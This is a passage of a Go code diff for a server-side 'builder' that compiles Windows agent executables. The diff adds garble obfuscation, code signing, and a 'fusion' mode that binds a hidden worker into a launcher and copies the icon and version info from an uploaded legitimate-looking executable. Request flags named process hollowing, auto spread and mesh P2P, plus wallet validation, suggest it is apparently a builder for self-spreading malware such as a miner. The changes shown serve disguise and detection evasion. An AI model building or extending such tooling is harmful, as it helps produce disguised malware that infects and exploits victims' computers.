||||||
|
buildArgs = append(buildArgs, ".")
|
||||||
|
|
||||||
|
useGarble := obfuscate && h.garblePath != ""
|
||||||
|
if obfuscate && !useGarble {
|
||||||
|
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||||
|
}
|
||||||
|
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
if useGarble {
|
||||||
|
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||||
|
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||||
|
}
|
||||||
|
cmd.Dir = dir
|
||||||
|
cmd.Env = env
|
||||||
|
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
129
server/internal/builder/estimate.go
Normal file
129
server/internal/builder/estimate.go
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultWorkerBytes int64 = 12 * 1024 * 1024
|
||||||
|
defaultFusionStubBytes int64 = 2_500_000
|
||||||
|
resourcePatchOverhead int64 = 150_000
|
||||||
|
)
|
||||||
|
|
||||||
|
type FusionEstimateResponse struct {
|
||||||
|
PrepBytes int64 `json:"prep_bytes"`
|
||||||
|
PrepName string `json:"prep_name"`
|
||||||
|
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||||
|
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||||
|
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||||
|
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||||
|
OutputFileName string `json:"output_file_name"`
|
||||||
|
ProjectRootPath string `json:"project_root_path"`
|
||||||
|
ArchivePathHint string `json:"archive_path_hint"`
|
||||||
|
ExportPath string `json:"export_path,omitempty"`
|
||||||
|
Obfuscate bool `json:"obfuscate"`
|
||||||
|
SignBuild bool `json:"sign_build"`
|
||||||
|
Notes []string `json:"notes"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||||
|
outputName := req.FusionOutputName
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = prepName
|
||||||
|
}
|
||||||
|
if outputName == "" {
|
||||||
|
outputName = "prep.exe"
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||||
|
outputName += ".exe"
|
||||||
|
}
|
||||||
|
outputName = sanitizeFileName(outputName)
|
||||||
|
|
||||||
|
workerBytes := h.estimateWorkerBytes()
|
||||||
|
stubBytes := defaultFusionStubBytes
|
||||||
|
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||||
|
|
||||||
|
root := h.projectRoot
|
||||||
|
if root == "" || root == "." {
|
||||||
|
root, _ = filepath.Abs(".")
|
||||||
|
}
|
||||||
|
projectOut := filepath.Join(root, outputName)
|
||||||
|
|
||||||
|
resp := FusionEstimateResponse{
|
||||||
|
PrepBytes: prepSize,
|
||||||
|
PrepName: prepName,
|
||||||
|
EstimatedWorkerBytes: workerBytes,
|
||||||
|
EstimatedFusionStubBytes: stubBytes,
|
||||||
|
EstimatedResourcePatchBytes: resourcePatchOverhead,
|
||||||
|
EstimatedTotalBytes: total,
|
||||||
|
OutputFileName: outputName,
|
||||||
|
ProjectRootPath: projectOut,
|
||||||
|
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
|
||||||
|
Obfuscate: h.shouldObfuscate(req),
|
||||||
|
SignBuild: req.SignBuild,
|
||||||
|
Notes: []string{
|
||||||
|
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
||||||
|
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
||||||
|
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||||
|
"Final size may differ slightly after icon + version info patch.",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.TrimSpace(req.OutputDir) != "" {
|
||||||
|
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||||
|
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||||
|
resp.ExportPath = filepath.Join(root, clean, outputName)
|
||||||
|
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||||
|
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
|
||||||
|
}
|
||||||
|
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||||
|
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = prepPath
|
||||||
|
return resp
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) estimateWorkerBytes() int64 {
|
||||||
|
if h.db == nil {
|
||||||
|
return defaultWorkerBytes
|
||||||
|
}
|
||||||
|
builds, err := h.db.ListBuilds(40)
|
||||||
|
if err != nil || len(builds) == 0 {
|
||||||
|
return defaultWorkerBytes
|
||||||
|
}
|
||||||
|
var sum int64
|
||||||
|
var count int64
|
||||||
|
for _, b := range builds {
|
||||||
|
base := strings.ToLower(filepath.Base(b.FilePath))
|
||||||
|
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
|
||||||
|
if b.FileSize > 0 {
|
||||||
|
sum += b.FileSize
|
||||||
|
count++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if count == 0 {
|
||||||
|
return defaultWorkerBytes
|
||||||
|
}
|
||||||
|
return sum / count
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatBytes(n int64) string {
|
||||||
|
const unit = 1024
|
||||||
|
if n < unit {
|
||||||
|
return fmt.Sprintf("%d B", n)
|
||||||
|
}
|
||||||
|
div, exp := int64(unit), 0
|
||||||
|
for v := n / unit; v >= unit; v /= unit {
|
||||||
|
div *= unit
|
||||||
|
exp++
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
|
||||||
|
}
|
||||||
29
server/internal/builder/estimate_test.go
Normal file
29
server/internal/builder/estimate_test.go
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||||
|
h := &Handler{
|
||||||
|
dataDir: t.TempDir(),
|
||||||
|
projectRoot: t.TempDir(),
|
||||||
|
}
|
||||||
|
req := &BuildRequest{
|
||||||
|
FusionEnabled: true,
|
||||||
|
FusionOutputName: "MyApp.exe",
|
||||||
|
OutputDir: "exports",
|
||||||
|
Obfuscate: true,
|
||||||
|
}
|
||||||
|
got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
|
||||||
|
if got.PrepBytes != 5*1024*1024 {
|
||||||
|
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
||||||
|
}
|
||||||
|
if got.EstimatedTotalBytes <= got.PrepBytes {
|
||||||
|
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||||
|
}
|
||||||
|
if got.OutputFileName != "MyApp.exe" {
|
||||||
|
t.Fatalf("output name: %s", got.OutputFileName)
|
||||||
|
}
|
||||||
|
if got.ExportPath == "" {
|
||||||
|
t.Fatal("expected export path")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,9 +2,7 @@ package builder
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
@@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
|
|||||||
}
|
}
|
||||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||||
|
|
||||||
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
|
|
||||||
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
ldflags := fusionLdflags(prepPath)
|
ldflags := fusionLdflags(prepPath)
|
||||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||||
cmd.Dir = fusionDir
|
return "", err
|
||||||
cmd.Env = append(os.Environ(),
|
}
|
||||||
"GOOS=windows",
|
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||||
"GOARCH=amd64",
|
return "", err
|
||||||
"CGO_ENABLED=0",
|
|
||||||
)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
|
|
||||||
}
|
}
|
||||||
return outputPath, nil
|
return outputPath, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -65,6 +65,8 @@ type BuildRequest struct {
|
|||||||
ProcessHollowing bool `json:"process_hollowing"`
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
MeshP2P bool `json:"mesh_p2p"`
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
AutoSpread bool `json:"auto_spread"`
|
AutoSpread bool `json:"auto_spread"`
|
||||||
|
Obfuscate bool `json:"obfuscate"`
|
||||||
|
SignBuild bool `json:"sign_build"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type BuildResponse struct {
|
type BuildResponse struct {
|
||||||
@@ -82,6 +84,8 @@ type BuildResponse struct {
|
|||||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||||
WorkerFile string `json:"worker_file,omitempty"`
|
WorkerFile string `json:"worker_file,omitempty"`
|
||||||
|
Signed bool `json:"signed,omitempty"`
|
||||||
|
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,12 +95,24 @@ type Handler struct {
|
|||||||
agentSrcDir string
|
agentSrcDir string
|
||||||
projectRoot string
|
projectRoot string
|
||||||
goBinPath string
|
goBinPath string
|
||||||
|
garblePath string
|
||||||
|
goWinresPath string
|
||||||
|
serverModDir string
|
||||||
policy BuildPolicy
|
policy BuildPolicy
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type SignPolicy struct {
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
CertThumbprint string `json:"cert_thumbprint"`
|
||||||
|
ToolPath string `json:"tool_path"`
|
||||||
|
TimestampURL string `json:"timestamp_url"`
|
||||||
|
}
|
||||||
|
|
||||||
type BuildPolicy struct {
|
type BuildPolicy struct {
|
||||||
StrictWalletValidation bool
|
StrictWalletValidation bool
|
||||||
MaxBuildSizeMB int
|
MaxBuildSizeMB int
|
||||||
|
DefaultObfuscate bool
|
||||||
|
Sign SignPolicy
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||||
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
|
|||||||
if _, err := exec.LookPath("go"); err == nil {
|
if _, err := exec.LookPath("go"); err == nil {
|
||||||
goBin = "go"
|
goBin = "go"
|
||||||
}
|
}
|
||||||
return &Handler{
|
h := &Handler{
|
||||||
db: database,
|
db: database,
|
||||||
dataDir: dataDir,
|
dataDir: dataDir,
|
||||||
agentSrcDir: agentSrcDir,
|
agentSrcDir: agentSrcDir,
|
||||||
projectRoot: projectRoot,
|
projectRoot: projectRoot,
|
||||||
goBinPath: goBin,
|
goBinPath: goBin,
|
||||||
}
|
}
|
||||||
|
h.resolveToolPaths(projectRoot)
|
||||||
|
return h
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
writeJSON(w, http.StatusOK, resp)
|
writeJSON(w, http.StatusOK, resp)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req BuildRequest
|
||||||
|
var prepPath string
|
||||||
|
var prepSize int64
|
||||||
|
var prepName string
|
||||||
|
var cleanupPrep func()
|
||||||
|
|
||||||
|
contentType := r.Header.Get("Content-Type")
|
||||||
|
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||||
|
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
configJSON := r.FormValue("config")
|
||||||
|
if configJSON == "" {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
file, header, err := r.FormFile("prep_exe")
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer file.Close()
|
||||||
|
if header != nil {
|
||||||
|
prepSize = header.Size
|
||||||
|
prepName = header.Filename
|
||||||
|
}
|
||||||
|
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||||
|
if err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
prepPath = saved
|
||||||
|
cleanupPrep = remove
|
||||||
|
} else {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if cleanupPrep != nil {
|
||||||
|
defer cleanupPrep()
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := h.normalizeRequest(&req); err != nil {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !req.FusionEnabled {
|
||||||
|
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.FusionOutputName == "" && prepName != "" {
|
||||||
|
req.FusionOutputName = prepName
|
||||||
|
}
|
||||||
|
|
||||||
|
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||||||
|
writeJSON(w, http.StatusOK, est)
|
||||||
|
}
|
||||||
|
|
||||||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||||
buildID := chi.URLParam(r, "id")
|
buildID := chi.URLParam(r, "id")
|
||||||
build, err := h.db.GetBuild(buildID)
|
build, err := h.db.GetBuild(buildID)
|
||||||
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
ldflags += " -H windowsgui"
|
ldflags += " -H windowsgui"
|
||||||
}
|
}
|
||||||
|
|
||||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||||
cmd.Dir = agentDir
|
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||||
cmd.Env = append(os.Environ(),
|
log.Printf("Build failed: %v", err)
|
||||||
"GOOS=windows",
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
"GOARCH=amd64",
|
|
||||||
"CGO_ENABLED=0",
|
|
||||||
)
|
|
||||||
|
|
||||||
output, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
|
|
||||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
|
||||||
}
|
}
|
||||||
|
|
||||||
finalPath := outputPath
|
finalPath := outputPath
|
||||||
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
signed := false
|
||||||
|
if h.shouldSignBuild(req) {
|
||||||
|
if err := h.signExecutable(finalPath); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
signed = true
|
||||||
|
if exportPath != "" && exportPath != finalPath {
|
||||||
|
_ = h.signExecutable(exportPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fileInfo, err := os.Stat(finalPath)
|
fileInfo, err := os.Stat(finalPath)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||||
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
|||||||
UninstallExportPath: "",
|
UninstallExportPath: "",
|
||||||
FusionEnabled: fusionEnabled,
|
FusionEnabled: fusionEnabled,
|
||||||
WorkerFile: workerName,
|
WorkerFile: workerName,
|
||||||
|
Signed: signed,
|
||||||
|
Obfuscated: obfuscated,
|
||||||
}, http.StatusOK, finalPath
|
}, http.StatusOK, finalPath
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
36
server/internal/builder/icon_resource.go
Normal file
36
server/internal/builder/icon_resource.go
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
func writeIconAndVersionWinresJSON(fullWinresPath string) (string, error) {
|
||||||
|
data, err := os.ReadFile(fullWinresPath)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
var doc map[string]json.RawMessage
|
||||||
|
if err := json.Unmarshal(data, &doc); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
icons, ok := doc["RT_GROUP_ICON"]
|
||||||
|
if !ok || len(icons) == 0 || string(icons) == "null" {
|
||||||
|
return "", fmt.Errorf("prep exe has no RT_GROUP_ICON resources")
|
||||||
|
}
|
||||||
|
outDoc := map[string]json.RawMessage{"RT_GROUP_ICON": icons}
|
||||||
|
if version, hasVersion := doc["RT_VERSION"]; hasVersion && len(version) > 0 && string(version) != "null" {
|
||||||
|
outDoc["RT_VERSION"] = version
|
||||||
|
}
|
||||||
|
out, err := json.MarshalIndent(outDoc, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
outPath := filepath.Join(filepath.Dir(fullWinresPath), "filtered.json")
|
||||||
|
if err := os.WriteFile(outPath, out, 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return outPath, nil
|
||||||
|
}
|
||||||
@@ -2,10 +2,16 @@
|
|||||||
|
|
||||||
package builder
|
package builder
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||||
|
return fmt.Errorf("fusion resource embedding requires building on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
func fusionLdflags(prepPath string) string {
|
func fusionLdflags(prepPath string) string {
|
||||||
return "-s -w -H windowsgui"
|
return "-s -w -H windowsgui"
|
||||||
}
|
}
|
||||||
|
|||||||
36
server/internal/builder/icon_test.go
Normal file
36
server/internal/builder/icon_test.go
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWriteIconAndVersionWinresJSON(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
full := filepath.Join(dir, "winres.json")
|
||||||
|
if err := os.WriteFile(full, []byte(`{
|
||||||
|
"RT_GROUP_ICON": {
|
||||||
|
"#1": { "0409": "a.ico" }
|
||||||
|
},
|
||||||
|
"RT_VERSION": { "#1": { "0409": {} } }
|
||||||
|
}`), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
out, err := writeIconAndVersionWinresJSON(full)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
raw, err := os.ReadFile(out)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
s := string(raw)
|
||||||
|
if !strings.Contains(s, "RT_GROUP_ICON") || !strings.Contains(s, "a.ico") {
|
||||||
|
t.Fatalf("unexpected icons-only json: %s", raw)
|
||||||
|
}
|
||||||
|
if !strings.Contains(s, "RT_VERSION") {
|
||||||
|
t.Fatalf("version info should be preserved: %s", raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,6 +3,7 @@
|
|||||||
package builder
|
package builder
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
@@ -11,6 +12,77 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// applyPrepResourcesToEXE copies icon + version info from prepPath onto exePath (post-build).
|
||||||
|
func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
|
||||||
|
if err := h.patchEXEResourcesFromPrepExtract(prepPath, exePath); err == nil {
|
||||||
|
log.Printf("[Fusion] Applied icon + version info from %s", filepath.Base(prepPath))
|
||||||
|
return nil
|
||||||
|
} else {
|
||||||
|
log.Printf("[Fusion] resource extract/patch failed, trying icon fallback: %v", err)
|
||||||
|
}
|
||||||
|
if err := h.patchEXEWithExtractedICO(prepPath, exePath); err == nil {
|
||||||
|
log.Printf("[Fusion] Applied icon from %s (fallback ico)", filepath.Base(prepPath))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("could not copy icon/resources from prep exe")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) patchEXEResourcesFromPrepExtract(prepPath, exePath string) error {
|
||||||
|
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-resources-*")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(workDir)
|
||||||
|
|
||||||
|
if _, err := h.runGoWinres("", "extract", "--dir", workDir, prepPath); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
filteredJSON, err := writeIconAndVersionWinresJSON(filepath.Join(workDir, "winres.json"))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := h.runGoWinres(filepath.Dir(filteredJSON), "patch", "--in", filteredJSON, "--no-backup", exePath); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) patchEXEWithExtractedICO(prepPath, exePath string) error {
|
||||||
|
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "prep-ico-*")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(workDir)
|
||||||
|
|
||||||
|
iconPath := filepath.Join(workDir, "prep-icon.ico")
|
||||||
|
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
doc := map[string]any{
|
||||||
|
"RT_GROUP_ICON": map[string]any{
|
||||||
|
"APP": map[string]any{
|
||||||
|
"0409": "prep-icon.ico",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
jsonPath := filepath.Join(workDir, "icons-only.json")
|
||||||
|
raw, err := json.MarshalIndent(doc, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(jsonPath, raw, 0644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := h.runGoWinres(workDir, "patch", "--in", jsonPath, "--no-backup", exePath); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
// extractIconFromEXE writes the primary icon from a Windows PE file to a .ico path.
|
||||||
func extractIconFromEXE(exePath, icoPath string) error {
|
func extractIconFromEXE(exePath, icoPath string) error {
|
||||||
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
||||||
@@ -37,34 +109,10 @@ $fs.Close()
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
|
|
||||||
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
|
||||||
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
|
|
||||||
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
|
|
||||||
cmd := exec.Command(
|
|
||||||
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
|
|
||||||
"make",
|
|
||||||
"--arch", "amd64",
|
|
||||||
"--in", fusionDir,
|
|
||||||
"--icon", iconPath,
|
|
||||||
"--file-description", productName,
|
|
||||||
"--product-name", productName,
|
|
||||||
"--original-filename", filepath.Base(prepPath),
|
|
||||||
)
|
|
||||||
cmd.Dir = fusionDir
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
|
|
||||||
}
|
|
||||||
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
|
|
||||||
func peSubsystem(exePath string) int {
|
func peSubsystem(exePath string) int {
|
||||||
data, err := os.ReadFile(exePath)
|
data, err := os.ReadFile(exePath)
|
||||||
if err != nil || len(data) < 128 {
|
if err != nil || len(data) < 128 {
|
||||||
|
|||||||
13
server/internal/builder/sign_stub.go
Normal file
13
server/internal/builder/sign_stub.go
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) signExecutable(path string) error {
|
||||||
|
return fmt.Errorf("code signing requires building on Windows")
|
||||||
|
}
|
||||||
79
server/internal/builder/sign_windows.go
Normal file
79
server/internal/builder/sign_windows.go
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
